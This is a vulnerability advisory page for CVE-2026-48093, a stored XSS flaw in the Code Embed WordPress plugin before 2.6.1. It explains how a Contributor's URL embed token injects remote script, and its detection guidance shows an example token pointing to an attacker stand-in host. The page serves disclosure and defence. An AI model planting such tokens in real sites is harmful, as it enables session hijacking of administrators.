CVE-2026-48093
Received Received - Intake

Stored XSS in Code Embed WordPress Plugin

Publication date: 2026-08-07

Last updated on: 2026-08-07

Assigner: GitHub, Inc.

Description
The Code Embed WordPress plugin prior to version 2.6.1 is vulnerable to stored Cross-Site Scripting (XSS) through the external URL embed feature in post content. The vulnerable code scans rendered content for URL embed tokens, fetches the remote URL, and inserts the remote response body into the page without output sanitization or an `unfiltered_html` capability check. This allows a Contributor attacker to submit a pending post containing an inert-looking URL token that executes attacker-controlled JavaScript when an Administrator or Editor previews or reviews the post. This is distinct from CVE-2026-2512, which affected custom field meta values up to version 2.5.1. This vector affects version 2.6 and uses the documented external URL embed feature in post content. This particular issue is patched in version 2.6.1.

CVSS Scores

EPSS Scores

Probability:
Percentile:

Meta Information

Published
2026-08-07
Last Modified
2026-08-07
Generated
2026-08-07
AI Q&A
2026-08-07
EPSS Evaluated
N/A
NVD
CVE-2026-48093
EUVD
EUVD-2026-54510

Affected Vendors & Products

Showing 1 associated CPE
Vendor Product Version / Range
dartiss code_embed to 2.6.1 (exc)

Helpful Resources

Exploitability

CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-79 The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Attack-Flow Graph

AI Quick Actions

Instant insights powered by AI
Executive Summary

CVE-2026-48093 is a stored Cross-Site Scripting (XSS) vulnerability in the Code Embed WordPress plugin affecting versions prior to 2.6.1. The issue occurs through the plugin's external URL embed feature, which fetches and inserts remote content into posts without proper sanitization or capability checks. Attackers can inject malicious scripts via URL tokens in post content that execute when viewed by higher-privileged users.

Detection Guidance

To detect this vulnerability, check if your WordPress site uses the Code Embed plugin version prior to 2.6.1. Inspect posts containing URL embed tokens like {{https://attacker.example/payload.html}}. Review user roles with Contributor access who may have submitted posts with such tokens. Use WordPress admin tools to scan for suspicious scripts in post content.

Impact Analysis

An attacker with Contributor-level access can submit a post containing a malicious URL token. When an Administrator or Editor previews the post, the embedded script executes in their session. This could lead to session hijacking, data theft, or unauthorized actions within the WordPress site. The attack requires user interaction but can affect confidentiality, integrity, and availability.

Compliance Impact

This vulnerability could lead to unauthorized data access or modification, violating GDPR's integrity and confidentiality requirements or HIPAA's safeguards for protected health information. A successful exploit may result in data breaches, triggering compliance violations and potential penalties under these regulations.

Mitigation Strategies

Immediately update the Code Embed plugin to version 2.6.1 or later. Remove any pending posts from Contributors that contain URL embed tokens. Ensure only users with 'unfiltered_html' capability can embed unfiltered content. Apply wp_kses_post() sanitization to embedded content if not already enforced.

Chat Assistant

Ask questions about this CVE
Hi! I’m here to help you understand CVE-2026-48093. Ask me anything about the vulnerability, its impact, or mitigation strategies.
0/70

EPSS Chart